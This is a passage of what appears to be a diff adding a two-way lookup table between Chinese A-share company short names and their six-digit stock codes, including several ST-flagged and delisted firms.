+"亚宝药业": "600351", +"600351": "亚宝药业", +"光峰科技": "688007", +"688007": "光峰科技", +"兆易创新": "603986", +"603986": "兆易创新", +"霍莱沃": "688682", +"688682": "霍莱沃", +"贤丰控股": "002141", +"002141": "贤丰控股", +"中捷精工": "301072", +"301072": "中捷精工", +"迪尔化工": "831304", +"831304": "迪尔化工", +"潞安环能": "601699", +"601699": "潞安环能", +"唯万密封": "301161", +"301161": "唯万密封", +"呈和科技": "688625", +"688625": "呈和科技", +"上海环境": "601200", +"601200": "上海环境", +"凯腾精工": "871553", +"871553": "凯腾精工", +"佛山照明": "000541", +"000541": "佛山照明", +"传音控股": "688036", +"688036": "传音控股", +"奥普特": "688686", +"688686": "奥普特", +"当升科技": "300073", +"300073": "当升科技", +"新金路": "000510", +"000510": "新金路", +"永兴材料": "002756", +"002756": "永兴材料", +"克明食品": "002661", +"002661": "克明食品", +"TCL通讯": "000542", +"000542": "TCL通讯", +"南京熊猫": "600775", +"600775": "南京熊猫", +"永鼎股份": "600105", +"600105": "永鼎股份", +"南纺股份": "600250", +"600250": "南纺股份", +"聚辰股份": "688123", +"688123": "聚辰股份", +"林州重机": "002535", +"002535": "林州重机", +"红蜻蜓": "603116", +"603116": "红蜻蜓", +"川宁生物": "301301", +"301301": "川宁生物", +"长亮科技": "300348", +"300348": "长亮科技", +"联环药业": "600513", +"600513": "联环药业", +"云涌科技": "688060", +"688060": "云涌科技", +"招商积余": "001914", +"001914": "招商积余", +"超图软件": "300036", +"300036": "超图软件", +"首药控股-U": "688197", +"688197": "首药控股-U", +"利尔化学": "002258", +"002258": "利尔化学", +"移为通信": "300590", +"300590": "移为通信", +"锴威特": "688693", +"688693": "锴威特", +"焦点科技": "002315", +"002315": "焦点科技", +"内蒙一机": "600967", +"600967": "内蒙一机", +"神火股份": "000933", +"000933": "神火股份", +"申昊科技": "300853", +"300853": "申昊科技", +"协鑫能科": "002015", +"002015": "协鑫能科", +"太平洋": "601099", +"601099": "太平洋", +"中岩大地": "003001", +"003001": "中岩大地", +"佳士科技": "300193", +"300193": "佳士科技", +"*ST搜特": "002503", +"002503": "*ST搜特", +"*ST宜生": "600978", +"600978": "*ST宜生", +"道恩股份": "002838", +"002838": "道恩股份", +"挖金客": "301380", +"301380": "挖金客", +"侨源股份": "301286", +"301286": "侨源股份", +"诺思兰德": "430047", +"430047": "诺思兰德", +"科信技术": "300565", +"300565": "科信技术", +"欣旺达": "300207", +"300207": "欣旺达", +"三维天地": "301159", +"301159": "三维天地", +"三全食品": "002216", +"002216": "三全食品", +"亨通光电": "600487", +"600487": "亨通光电", +"正泰电器": "601877", +"601877": "正泰电器", +"退市中房": "600890", +"600890": "退市中房", +"光弘科技": "300735", +"300735": "光弘科技", +"众业达": "002441", +"002441": "众业达", +"大烨智能": "300670", +"300670": "大烨智能", +"万德斯": "688178", +"688178": "万德斯", +"华联控股": "000036", +"000036": "华联控股", +"海兴电力": "603556", +"603556": "海兴电力", +"东莞控股": "000828", +"000828": "东莞控股", +"均瑶健康": "605388", +"605388": "均瑶健康", +"中材节能": "603126", +"603126": "中材节能", +"*ST华仪": "600290", +"600290": "*ST华仪", +"雪人股份": "002639", +"002639": "雪人股份", +"旺成科技": "830896", +"830896": "旺成科技", +"威迈斯": "688612", +"688612": "威迈斯", +"长城军工": "601606", +"601606": "长城军工", +"*ST同达": "600647", +"600647": "*ST同达", +"聚合顺": "605166", +"605166": "聚合顺", +"露笑科技": "002617", +"002617": "露笑科技", +"浙江交科": "002061", +"002061": "浙江交科", +"东晶电子": "002199", +"002199": "东晶电子", +"泓博医药": "301230", +"301230": "泓博医药", +"四会富仕": "300852", +"300852": "四会富仕", +"力量钻石": "301071", +"301071": "力量钻石", +"鼎泰高科": "301377", +"301377": "鼎泰高科", +"太辰光": "300570", +"300570": "太辰光", +"东方智造": "002175", +"002175": "东方智造", +"创力集团": "603012", +"603012": "创力集团", +"基蛋生物": "603387", +"603387": "基蛋生物", +"氯碱化工": "600618", +"600618": "氯碱化工", +"滨江集团": "002244", +"002244": "滨江集团", +"苏豪弘业": "600128", +"600128": "苏豪弘业", +"*ST中期": "000996", +"000996": "*ST中期", +"华友钴业": "603799", +"603799": "华友钴业", +"利元亨": "688499", +"688499": "利元亨", +"旗天科技": "300061", +"300061": "旗天科技", +"绿亨科技": "870866", +"870866": "绿亨科技", +"横店东磁": "002056", +"002056": "横店东磁", +"海创药业-U": "688302", +"688302": "海创药业-U", +"和顺电气": "300141", +"300141": "和顺电气", +"宁水集团": "603700", +"603700": "宁水集团", +"蒙娜丽莎": "002918", +"002918": "蒙娜丽莎", +"瑞贝卡": "600439", +"600439": "瑞贝卡", +"中广核技": "000881", +"000881": "中广核技", +"浙江国祥": "603361", +"603361": "浙江国祥", +"通策医疗": "600763", +"600763": "通策医疗", +"ST康美": "600518", +"600518": "ST康美", +"中环环保": "300692", +"300692": "中环环保", +"上海沪工": "603131", +"603131": "上海沪工", +"青海春天": "600381", +"600381": "青海春天", +"克莱特": "831689", +"831689": "克莱特", +"金陵药业": "000919", +"000919": "金陵药业", +"钢研高纳": "300034", +"300034": "钢研高纳", +"万控智造": "603070", +"603070": "万控智造", +"二六三": "002467", +"002467": "二六三", +"仁和药业": "000650", +"000650": "仁和药业", +"山东矿机": "002526", +"002526": "山东矿机", +"陇神戎发": "300534", +"300534": "陇神戎发", +"中视传媒": "600088", +"600088": "中视传媒", +"成都燃气": "603053", +"603053": "成都燃气", +"汇金通": "603577", +"603577": "汇金通", +"厚普股份": "300471", +"300471": "厚普股份", +"曲江文旅": "600706", +"600706": "曲江文旅", +"辰安科技": "300523", +"300523": "辰安科技", +"永吉股份": "603058", +"603058": "永吉股份", +"鲁银投资": "600784", +"600784": "鲁银投资", +"深高速": "600548", +"600548": "深高速", +"巨星农牧": "603477", +"603477": "巨星农牧", +"复旦张江": "688505", +"688505": "复旦张江", +"东华能源": "002221", +"002221": "东华能源", +"众智科技": "301361", +"301361": "众智科技", +"富安娜": "002327", +"002327": "富安娜", +"趣睡科技": "301336", +"301336": "趣睡科技", +"恒基达鑫": "002492", +"002492": "恒基达鑫", +"明微电子": "688699", +"688699": "明微电子", +"联创光电": "600363", +"600363": "联创光电", +"聚杰微纤": "300819", +"300819": "聚杰微纤", +"南国置业": "002305", +"002305": "南国置业", +"中金辐照": "300962", +"300962": "中金辐照", +"宁波韵升": "600366", +"600366": "宁波韵升", +"天罡股份": "832651", +"832651": "天罡股份", +"汇金科技": "300561", +"300561": "汇金科技", +"浙江众成": "002522", +"002522": "浙江众成", +"威士顿": "301315", +"301315": "威士顿", +"宝德退": "300023", +"300023": "宝德退", +"同益股份": "300538", +"300538": "同益股份", +"蜀道装备": "300540", +"300540": "蜀道装备", +"东方钽业": "000962", +"000962": "东方钽业", +"湖北能源": "000883", +"000883": "湖北能源", +"龙泉股份": "002671", +"002671": "龙泉股份", +"福光股份": "688010", +"688010": "福光股份", +"ST八菱": "002592", +"002592": "ST八菱", +"赛隆药业": "002898", +"002898": "赛隆药业", +"豪鹏科技": "001283", +"001283": "豪鹏科技", +"永和智控": "002795", +"002795": "永和智控", +"纳川股份": "300198", +"300198": "纳川股份", +"华大智造": "688114", +"688114": "华大智造", +"上海贝岭": "600171", +"600171": "上海贝岭", +"连云港": "601008", +"601008": "连云港", +"汉仪股份": "301270", +"301270": "汉仪股份", +"国海证券": "000750", +"000750": "国海证券", +"富煌钢构": "002743", +"002743": "富煌钢构", +"金枫酒业": "600616", +"600616": "金枫酒业", +"宝新能源": "000690", +"000690": "宝新能源", +"世荣兆业": "002016", +"002016": "世荣兆业", +"卓然股份": "688121", +"688121": "卓然股份", +"宏柏新材": "605366", +"605366": "宏柏新材", +"瑜欣电子": "301107", +"301107": "瑜欣电子", +"奥联电子": "300585", +"300585": "奥联电子", +"三湘印象": "000863", +"000863": "三湘印象", +"东方电子": "000682", +"000682": "东方电子", +"益方生物-U": "688382", +"688382": "益方生物-U", +"海得控制": "002184", +"002184": "海得控制", +"天力锂能": "301152", +"301152": "天力锂能", +"泸天化": "000912", +"000912": "泸天化", +"晶晨股份": "688099", +"688099": "晶晨股份", +"德赛西威": "002920", +"002920": "德赛西威", +"百胜智能": "301083", +"301083": "百胜智能", +"江丰电子": "300666", +"300666": "江丰电子", +"南网科技": "688248", +"688248": "南网科技", +"中船防务": "600685", +"600685": "中船防务", +"合纵科技": "300477", +"300477": "合纵科技", +"会稽山": "601579", +"601579": "会稽山", +"海油发展": "600968", +"600968": "海油发展", +"ST奥康": "603001", +"603001": "ST奥康", +"元隆雅图": "002878", +"002878": "元隆雅图", +"天虹股份": "002419", +"002419": "天虹股份", +"绿茵生态": "002887", +"002887": "绿茵生态", +"ST浩源": "002700", +"002700": "ST浩源", +"汉邦高科": "300449", +"300449": "汉邦高科", +"京北方": "002987", +"002987": "京北方", +"海峡创新": "300300", +"300300": "海峡创新", +"鼎龙股份": "300054", +"300054": "鼎龙股份", +"盐湖股份": "000792", +"000792": "盐湖股份", +"贝肯能源": "002828", +"002828": "贝肯能源", +"浪潮信息": "000977", +"000977": "浪潮信息", +"中科蓝讯": "688332", +"688332": "中科蓝讯", +"高德红外": "002414", +"002414": "高德红外", +"通裕重工": "300185", +"300185": "通裕重工", +"粤电力Ａ": "000539", +"000539": "粤电力Ａ", +"溢多利": "300381", +"300381": "溢多利", +"天纺标": "871753", +"871753": "天纺标", +"新锦动力": "300157", +"300157": "新锦动力", +"金地集团": "600383", +"600383": "金地集团", +"三美股份": "603379", +"603379": "三美股份", +"皇台酒业": "000995", +"000995": "皇台酒业", +"国创高新": "002377", +"002377": "国创高新", +"凯大催化": "830974", +"830974": "凯大催化", +"爱朋医疗": "300753", +"300753": "爱朋医疗", +"珠江股份": "600684", +"600684": "珠江股份", +"莎普爱思": "603168", +"603168": "莎普爱思", +"金宏气体": "688106", +"688106": "金宏气体", +"欧亚集团": "600697", +"600697": "欧亚集团", +"*ST三盛": "300282", +"300282": "*ST三盛", +"绿岛风": "301043", +"301043": "绿岛风", +"博通集成": "603068", +"603068": "博通集成", +"PT粤金曼": "000588", +"000588": "PT粤金曼", +"兴源环境": "300266", +"300266": "兴源环境", +"泰坦股份": "003036", +"003036": "泰坦股份", +"宝塔实业": "000595", +"000595": "宝塔实业", +"龙源电力": "001289", +"001289": "龙源电力", +"昱能科技": "688348", +"688348": "昱能科技", +"奇精机械": "603677", +"603677": "奇精机械", +"皓宸医疗": "002622", +"002622": "皓宸医疗", +"东望时代": "600052", +"600052": "东望时代", +"中复神鹰": "688295", +"688295": "中复神鹰", +"海鸥住工": "002084", +"002084": "海鸥住工", +"潍柴重机": "000880", +"000880": "潍柴重机", +"海洋王": "002724", +"002724": "海洋王", +"海正生材": "688203", +"688203": "海正生材", +"醋化股份": "603968", +"603968": "醋化股份", +"瑞泰新材": "301238", +"301238": "瑞泰新材", +"北京银行": "601169", +"601169": "北京银行", +"西部材料": "002149", +"002149": "西部材料", +"格力博": "301260", +"301260": "格力博", +"埃夫特-U": "688165", +"688165": "埃夫特-U", +"华光环能": "600475", +"600475": "华光环能", +"同力股份": "834599", +"834599": "同力股份", +"大商股份": "600694", +"600694": "大商股份", +"森马服饰": "002563", +"002563": "森马服饰", +"云里物里": "872374", +"872374": "云里物里", +"碧水源": "300070", +"300070": "碧水源", +"信雅达": "600571", +"600571": "信雅达", +"荣信文化": "301231", +"301231": "荣信文化", +"海信家电": "000921", +"000921": "海信家电", +"青岛啤酒": "600600", +"600600": "青岛啤酒", +"崇德科技": "301548", +"301548": "崇德科技", +"紫天科技": "300280", +"300280": "紫天科技", +"退市厦华": "600870", +"600870": "退市厦华", +"海泰新光": "688677", +"688677": "海泰新光", +"天津普林": "002134", +"002134": "天津普林", +"百合花": "603823", +"603823": "百合花", +"红塔证券": "601236", +"601236": "红塔证券", +"*ST数码": "600700", +"600700": "*ST数码", +"万凯新材": "301216", +"301216": "万凯新材", +"云天化": "600096", +"600096": "云天化", +"ST有棵树": "300209", +"300209": "ST有棵树", +"朗博科技": "603655", +"603655": "朗博科技", +"科泰电源": "300153", +"300153": "科泰电源", +"赛伍技术": "603212", +"603212": "赛伍技术", +"金科环境": "688466", +"688466": "金科环境", +"方正电机": "002196", +"002196": "方正电机", +"金春股份": "300877", +"300877": "金春股份", +"神通科技": "605228", +"605228": "神通科技", +"宝立食品": "603170", +"603170": "宝立食品", +"视源股份": "002841", +"002841": "视源股份", +"海联讯": "300277", +"300277": "海联讯", +"贝泰妮": "300957", +"300957": "贝泰妮", +"正弦电气": "688395", +"688395": "正弦电气", +"凤凰股份": "600716", +"600716": "凤凰股份", +"浙商中拓": "000906", +"000906": "浙商中拓", +"宏发股份": "600885", +"600885": "宏发股份", +"鼎汉技术": "300011", +"300011": "鼎汉技术", +"凯瑞德": "002072", +"002072": "凯瑞德", +"浔兴股份": "002098", +"002098": "浔兴股份", +"盈趣科技": "002925", +"002925": "盈趣科技", +"寒武纪-U": "688256", +"688256": "寒武纪-U", +"波导股份": "600130", +"600130": "波导股份", +"正帆科技": "688596", +"688596": "正帆科技", +"桂林三金": "002275", +"002275": "桂林三金", +"金证股份": "600446", +"600446": "金证股份", +"晋西车轴": "600495", +"600495": "晋西车轴", +"浙版传媒": "601921", +"601921": "浙版传媒", +"康力电梯": "002367", +"002367": "康力电梯", +"图南股份": "300855", +"300855": "图南股份", +"新疆天业": "600075", +"600075": "新疆天业", +"纳微科技": "688690", +"688690": "纳微科技", +"退市辅仁": "600781", +"600781": "退市辅仁", +"奥泰生物": "688606", +"688606": "奥泰生物", +"桐昆股份": "601233", +"601233": "桐昆股份", +"五矿发展": "600058", +"600058": "五矿发展", +"山石网科": "688030", +"688030": "山石网科", +"财信发展": "000838", +"000838": "财信发展", +"荣泰健康": "603579", +"603579": "荣泰健康", +"伊力特": "600197", +"600197": "伊力特", +"双一科技": "300690", +"300690": "双一科技", +"力盛体育": "002858", +"002858": "力盛体育", +"天地源": "600665", +"600665": "天地源", +"赢合科技": "300457", +"300457": "赢合科技", +"长华化学": "301518", +"301518": "长华化学", +"佳合科技": "872392", +"872392": "佳合科技", +"青海华鼎": "600243", +"600243": "青海华鼎", +"汇隆活塞": "833455", +"833455": "汇隆活塞", +"科德数控": "688305", +"688305": "科德数控", +"麦克奥迪": "300341", +"300341": "麦克奥迪", +"新华百货": "600785", +"600785": "新华百货", +"华信新材": "300717", +"300717": "华信新材", +"新农开发": "600359", +"600359": "新农开发", +"盛视科技": "002990", +"002990": "盛视科技", +"星辉环材": "300834", +"300834": "星辉环材", +"星环科技-U": "688031", +"688031": "星环科技-U", +"皇马科技": "603181", +"603181": "皇马科技", +"兰剑智能": "688557", +"688557": "兰剑智能", +"苏盐井神": "603299", +"603299": "苏盐井神", +"天马新材": "838971", +"838971": "天马新材", +"金雷股份": "300443", +"300443": "金雷股份", +"沙河股份": "000014", +"000014": "沙河股份", +"东百集团": "600693", +"600693": "东百集团", +"亚邦股份": "603188", +"603188": "亚邦股份", +"国光电器": "002045", +"002045": "国光电器", +"合肥百货": "000417", +"000417": "合肥百货", +"保丽洁": "832802", +"832802": "保丽洁", +"康华生物": "300841", +"300841": "康华生物", +"中微公司": "688012", +"688012": "中微公司", +"和胜股份": "002824", +"002824": "和胜股份", +"新洁能": "605111", +"605111": "新洁能", +"美能能源": "001299", +"001299": "美能能源", +"司尔特": "002538", +"002538": "司尔特", +"全柴动力": "600218", +"600218": "全柴动力", +"佳华科技": "688051", +"688051": "佳华科技", +"金海高科": "603311", +"603311": "金海高科", +"曼卡龙": "300945", +"300945": "曼卡龙", +"时代万恒": "600241", +"600241": "时代万恒", +"云鼎科技": "000409", +"000409": "云鼎科技", +"高新兴": "300098", +"300098": "高新兴", +"恒为科技": "603496", +"603496": "恒为科技", +"诺德股份": "600110", +"600110": "诺德股份", +"国城矿业": "000688", +"000688": "国城矿业", +"新天科技": "300259", +"300259": "新天科技", +"江铃汽车": "000550", +"000550": "江铃汽车", +"迈普医学": "301033", +"301033": "迈普医学", +"禾昌聚合": "832089", +"832089": "禾昌聚合", +"华控赛格": "000068", +"000068": "华控赛格", +"炬光科技": "688167", +"688167": "炬光科技", +"壶化股份": "003002", +"003002": "壶化股份", +"理邦仪器": "300206", +"300206": "理邦仪器", +"凯迪退": "000939", +"000939": "凯迪退", +"光华股份": "001333", +"001333": "光华股份", +"西点药业": "301130", +"301130": "西点药业", +"中国西电": "601179", +"601179": "中国西电", +"诺唯赞": "688105", +"688105": "诺唯赞", +"捷顺科技": "002609", +"002609": "捷顺科技", +"唯捷创芯": "688153", +"688153": "唯捷创芯", +"奥精医疗": "688613", +"688613": "奥精医疗", +"中集车辆": "301039", +"301039": "中集车辆", +"华胜天成": "600410", +"600410": "华胜天成", +"芯朋微": "688508", +"688508": "芯朋微", +"丸美股份": "603983", +"603983": "丸美股份", +"垒知集团": "002398", +"002398": "垒知集团", +"万方发展": "000638", +"000638": "万方发展", +"劲拓股份": "300400", +"300400": "劲拓股份", +"甘肃能化": "000552", +"000552": "甘肃能化", +"中国核电": "601985", +"601985": "中国核电", +"前沿生物-U": "688221", +"688221": "前沿生物-U", +"英特科技": "301399", +"301399": "英特科技", +"蓝思科技": "300433", +"300433": "蓝思科技", +"远翔新材": "301300", +"301300": "远翔新材", +"实朴检测": "301228", +"301228": "实朴检测", +"初灵信息": "300250", +"300250": "初灵信息", +"赛微电子": "300456", +"300456": "赛微电子", +"顺网科技": "300113", +"300113": "顺网科技", +"丰光精密": "430510", +"430510": "丰光精密", +"八亿时空": "688181", +"688181": "八亿时空", +"恒达新材": "301469", +"301469": "恒达新材", +"威力传动": "300904", +"300904": "威力传动", +"亚厦股份": "002375", +"002375": "亚厦股份", +"山东钢铁": "600022", +"600022": "山东钢铁", +"安彩高科": "600207", +"600207": "安彩高科", +"恒宇信通": "300965", +"300965": "恒宇信通", +"美腾科技": "688420", +"688420": "美腾科技", +"鹭燕医药": "002788", +"002788": "鹭燕医药", +"新文退": "300336", +"300336": "新文退", +"美迪西": "688202", +"688202": "美迪西", +"汇源通信": "000586", +"000586": "汇源通信", +"中信金属": "601061", +"601061": "中信金属", +"天铁股份": "300587", +"300587": "天铁股份", +"珀莱雅": "603605", +"603605": "珀莱雅", +"*ST金一": "002721", +"002721": "*ST金一", +"东方铁塔": "002545", +"002545": "东方铁塔", +"明冠新材": "688560", +"688560": "明冠新材", +"中润光学": "688307", +"688307": "中润光学", +"甘肃能源": "000791", +"000791": "甘肃能源", +"晶华微": "688130", +"688130": "晶华微", +"万事利": "301066", +"301066": "万事利", +"中颖电子": "300327", +"300327": "中颖电子", +"西安旅游": "000610", +"000610": "西安旅游", +"田中精机": "300461", +"300461": "田中精机", +"美邦股份": "605033", +"605033": "美邦股份", +"杭氧股份": "002430", +"002430": "杭氧股份", +"开开实业": "600272", +"600272": "开开实业", +"怡": "002183", +"002183": "怡", +"翔鹭钨业": "002842", +"002842": "翔鹭钨业", +"航锦科技": "000818", +"000818": "航锦科技", +"ST金时": "002951", +"002951": "ST金时", +"可靠股份": "301009", +"301009": "可靠股份", +"新宁物流": "300013", +"300013": "新宁物流", +"威高骨科": "688161", +"688161": "威高骨科", +"退市游久": "600652", +"600652": "退市游久", +"华伍股份": "300095", +"300095": "华伍股份", +"洪汇新材": "002802", +"002802": "洪汇新材", +"中青旅": "600138", +"600138": "中青旅", +"北矿科技": "600980", +"600980": "北矿科技", +"玲珑轮胎": "601966", +"601966": "玲珑轮胎", +"金石资源": "603505", +"603505": "金石资源", +"西山科技": "688576", +"688576": "西山科技", +"陕西黑猫": "601015", +"601015": "陕西黑猫", +"三峡新材": "600293", +"600293": "三峡新材", +"深圳机场": "000089", +"000089": "深圳机场", +"中电港": "001287", +"001287": "中电港", +"宝钢包装": "601968", +"601968": "宝钢包装", +"山外山": "688410", +"688410": "山外山", +"航材股份": "688563", +"688563": "航材股份", +"康恩贝": "600572", +"600572": "康恩贝", +"永东股份": "002753", +"002753": "永东股份", +"通宝能源": "600780", +"600780": "通宝能源", +"掌阅科技": "603533", +"603533": "掌阅科技", +"华塑股份": "600935", +"600935": "华塑股份", +"奥雅股份": "300949", +"300949": "奥雅股份", +"华远地产": "600743", +"600743": "华远地产", +"宁波能源": "600982", +"600982": "宁波能源", +"中远海控": "601919", +"601919": "中远海控", +"正元智慧": "300645", +"300645": "正元智慧", +"中谷物流": "603565", +"603565": "中谷物流", +"国机精工": "002046", +"002046": "国机精工", +"悦达投资": "600805", +"600805": "悦达投资", +"工大科雅": "301197", +"301197": "工大科雅", +"大众公用": "600635", +"600635": "大众公用", +"杰普特": "688025", +"688025": "杰普特", +"众源新材": "603527", +"603527": "众源新材", +"农业银行": "601288", +"601288": "农业银行", +"中钢洛耐": "688119", +"688119": "中钢洛耐", +"伟创电气": "688698", +"688698": "伟创电气", +"华恒生物": "688639", +"688639": "华恒生物", +"S湘火炬": "000549", +"000549": "S湘火炬", +"中国汽研": "601965", +"601965": "中国汽研", +"江苏有线": "600959", +"600959": "江苏有线", +"恒润股份": "603985", +"603985": "恒润股份", +"正元地信": "688509", +"688509": "正元地信", +"艾迪药业": "688488", +"688488": "艾迪药业", +"哈尔斯": "002615", +"002615": "哈尔斯", +"安道麦A": "000553", +"000553": "安道麦A", +"中国神华": "601088", +"601088": "中国神华", +"金马集团": "000602", +"000602": "金马集团", +"科拓生物": "300858", +"300858": "科拓生物", +"威帝股份": "603023", +"603023": "威帝股份", +"信质集团": "002664", +"002664": "信质集团", +"安博通": "688168", +"688168": "安博通", +"赞宇科技": "002637", +"002637": "赞宇科技", +"杭萧钢构": "600477", +"600477": "杭萧钢构", +"聚赛龙": "301131", +"301131": "聚赛龙", +"PT中浩A": "000015", +"000015": "PT中浩A", +"莱伯泰科": "688056", +"688056": "莱伯泰科", +"阿拉丁": "688179", +"688179": "阿拉丁", +"兴齐眼药": "300573", +"300573": "兴齐眼药", +"惠程科技": "002168", +"002168": "惠程科技", +"鹿得医疗": "832278", +"832278": "鹿得医疗", +"新宙邦": "300037", +"300037": "新宙邦", +"中色股份": "000758", +"000758": "中色股份", +"卓胜微": "300782", +"300782": "卓胜微", +"众兴菌业": "002772", +"002772": "众兴菌业", +"*ST和科": "002816", +"002816": "*ST和科", +"安孚科技": "603031", +"603031": "安孚科技", +"中信博": "688408", +"688408": "中信博", +"唯赛勃": "688718", +"688718": "唯赛勃", +"千味央厨": "001215", +"001215": "千味央厨", +"维科技术": "600152", +"600152": "维科技术", +"洁美科技": "002859", +"002859": "洁美科技", +"*ST弘高": "002504", +"002504": "*ST弘高", +"大连友谊": "000679", +"000679": "大连友谊", +"*ST花雕": "600659", +"600659": "*ST花雕", +"宏辉果蔬": "603336", +"603336": "宏辉果蔬", +"德创环保": "603177", +"603177": "德创环保", +"ST美讯": "600898", +"600898": "ST美讯", +"浙江建投": "002761", +"002761": "浙江建投", +"有友食品": "603697", +"603697": "有友食品", +"云南铜业": "000878", +"000878": "云南铜业", +"龙佰集团": "002601", +"002601": "龙佰集团", +"嘉和美康": "688246", +"688246": "嘉和美康", +"计通退": "300330", +"300330": "计通退", +"罗莱生活": "002293", +"002293": "罗莱生活", +"顺利退": "000606", +"000606": "顺利退", +"ST实华": "000637", +"000637": "ST实华", +"三晖电气": "002857", +"002857": "三晖电气", +"亿晶光电": "600537", +"600537": "亿晶光电", +"中望软件": "688083", +"688083": "中望软件", +"欧晶科技": "001269", +"001269": "欧晶科技", +"得邦照明": "603303", +"603303": "得邦照明", +"维维股份": "600300", +"600300": "维维股份", +"同星科技": "301252", +"301252": "同星科技", +"康普顿": "603798", +"603798": "康普顿", +"国机通用": "600444", +"600444": "国机通用", +"源杰科技": "688498", +"688498": "源杰科技", +"涪陵电力": "600452", +"600452": "涪陵电力", +"红日药业": "300026", +"300026": "红日药业", +"凤凰传媒": "601928", +"601928": "凤凰传媒", +"普蕊斯": "301257", +"301257": "普蕊斯", +"精艺股份": "002295", +"002295": "精艺股份", +"仙琚制药": "002332", +"002332": "仙琚制药", +"S*ST龙昌": "600772", +"600772": "S*ST龙昌", +"科创信息": "300730", +"300730": "科创信息", +"人福医药": "600079", +"600079": "人福医药", +"中国船舶": "600150", +"600150": "中国船舶", +"ST鼎龙": "002502", +"002502": "ST鼎龙", +"天融信": "002212", +"002212": "天融信", +"纳睿雷达": "688522", +"688522": "纳睿雷达", +"格灵深瞳": "688207", +"688207": "格灵深瞳", +"银座股份": "600858", +"600858": "银座股份", +"*ST莫高": "600543", +"600543": "*ST莫高", +"厦门国贸": "600755", +"600755": "厦门国贸", +"宣泰医药": "688247", +"688247": "宣泰医药", +"*ST北科": "600878", +"600878": "*ST北科", +"锦好医疗": "872925", +"872925": "锦好医疗", +"敦煌种业": "600354", +"600354": "敦煌种业", +"四环生物": "000518", +"000518": "四环生物", +"伟隆股份": "002871", +"002871": "伟隆股份", +"尔康制药": "300267", +"300267": "尔康制药", +"山东高速": "600350", +"600350": "山东高速", +"凯莱英": "002821", +"002821": "凯莱英", +"中国海防": "600764", +"600764": "中国海防", +"天孚通信": "300394", +"300394": "天孚通信", +"XD锦波生": "832982", +"832982": "XD锦波生", +"曲美家居": "603818", +"603818": "曲美家居", +"卫星化学": "002648", +"002648": "卫星化学", +"新北洋": "002376", +"002376": "新北洋", +"天创时尚": "603608", +"603608": "天创时尚", +"丹邦退": "002618", +"002618": "丹邦退", +"新相微": "688593", +"688593": "新相微", +"兰花科创": "600123", +"600123": "兰花科创", +"天风证券": "601162", +"601162": "天风证券", +"信测标准": "300938", +"300938": "信测标准", +"PT金田A": "000003", +"000003": "PT金田A", +"西安饮食": "000721", +"000721": "西安饮食", +"上港集团": "600018", +"600018": "上港集团", +"丰元股份": "002805", +"002805": "丰元股份", +"芭田股份": "002170", +"002170": "芭田股份", +"普冉股份": "688766", +"688766": "普冉股份", +"唐山港": "601000", +"601000": "唐山港", +"退市济堂": "600090", +"600090": "退市济堂", +"连城数控": "835368", +"835368": "连城数控", +"江波龙": "301308", +"301308": "江波龙", +"中文传媒": "600373", +"600373": "中文传媒", +"西陇科学": "002584", +"002584": "西陇科学", +"齐鲁石化": "600002", +"600002": "齐鲁石化", +"九牧王": "601566", +"601566": "九牧王", +"西部黄金": "601069", +"601069": "西部黄金", +"华斯股份": "002494", +"002494": "华斯股份", +"蓝丰生化": "002513", +"002513": "蓝丰生化", +"亚泰集团": "600881", +"600881": "亚泰集团", +"德龙激光": "688170", +"688170": "德龙激光", +"顺威股份": "002676", +"002676": "顺威股份", +"东北证券": "000686", +"000686": "东北证券", +"上纬新材": "688585", +"688585": "上纬新材", +"丽江股份": "002033", +"002033": "丽江股份", +"三星新材": "603578", +"603578": "三星新材", +"萃华珠宝": "002731", +"002731": "萃华珠宝", +"南京银行": "601009", +"601009": "南京银行", +"南宁百货": "600712", +"600712": "南宁百货", +"康众医疗": "688607", +"688607": "康众医疗", +"海科新源": "301292", +"301292": "海科新源", +"山东玻纤": "605006", +"605006": "山东玻纤", +"三友化工": "600409", +"600409": "三友化工", +"华特气体": "688268", +"688268": "华特气体", +"振东制药": "300158", +"300158": "振东制药", +"龙元建设": "600491", +"600491": "龙元建设", +"海峡股份": "002320", +"002320": "海峡股份", +"金瑞矿业": "600714", +"600714": "金瑞矿业", +"证通电子": "002197", +"002197": "证通电子", +"金百泽": "301041", +"301041": "金百泽", +"欣泰退": "300372", +"300372": "欣泰退", +"宁科生物": "600165", +"600165": "宁科生物", +"九联科技": "688609", +"688609": "九联科技", +"芯碁微装": "688630", +"688630": "芯碁微装", +"龙江交通": "601188", +"601188": "龙江交通", +"联美控股": "600167", +"600167": "联美控股", +"三鑫医疗": "300453", +"300453": "三鑫医疗", +"兴化股份": "002109", +"002109": "兴化股份", +"康惠制药": "603139", +"603139": "康惠制药", +"通源石油": "300164", +"300164": "通源石油", +"明月镜片": "301101", +"301101": "明月镜片", +"龙溪股份": "600592", +"600592": "龙溪股份", +"益丰药房": "603939", +"603939": "益丰药房", +"成都先导": "688222", +"688222": "成都先导", +"中央商场": "600280", +"600280": "中央商场", +"大恒科技": "600288", +"600288": "大恒科技", +"景兴纸业": "002067", +"002067": "景兴纸业", +"飞天诚信": "300386", +"300386": "飞天诚信", +"新美星": "300509", +"300509": "新美星", +"神农科技": "300189", +"300189": "神农科技", +"中国一重": "601106", +"601106": "中国一重", +"日月股份": "603218", +"603218": "日月股份", +"汇创达": "300909", +"300909": "汇创达", +"佳力图": "603912", +"603912": "佳力图", +"驱动力": "838275", +"838275": "驱动力", +"上海家化": "600315", +"600315": "上海家化", +"维业股份": "300621", +"300621": "维业股份", +"汤姆猫": "300459", +"300459": "汤姆猫", +"粤": "002060", +"002060": "粤", +"*ST民控": "000416", +"000416": "*ST民控", +"上海港湾": "605598", +"605598": "上海港湾", +"上海能源": "600508", +"600508": "上海能源", +"中山公用": "000685", +"000685": "中山公用", +"中兵红箭": "000519", +"000519": "中兵红箭", +"久立特材": "002318", +"002318": "久立特材", +"先河环保": "300137", +"300137": "先河环保", +"浙江东方": "600120", +"600120": "浙江东方", +"蒙草生态": "300355", +"300355": "蒙草生态", +"光一退": "300356", +"300356": "光一退", +"熵基科技": "301330", +"301330": "熵基科技", +"润达医疗": "603108", +"603108": "润达医疗", +"创新新材": "600361", +"600361": "创新新材", +"渤海轮渡": "603167", +"603167": "渤海轮渡", +"锡南科技": "301170", +"301170": "锡南科技", +"昂立教育": "600661", +"600661": "昂立教育", +"神思电子": "300479", +"300479": "神思电子", +"恩捷股份": "002812", +"002812": "恩捷股份", +"菜百股份": "605599", +"605599": "菜百股份", +"中化国际": "600500", +"600500": "中化国际", +"百川股份": "002455", +"002455": "百川股份", +"华新环保": "301265", +"301265": "华新环保", +"永顺泰": "001338", +"001338": "永顺泰", +"中金黄金": "600489", 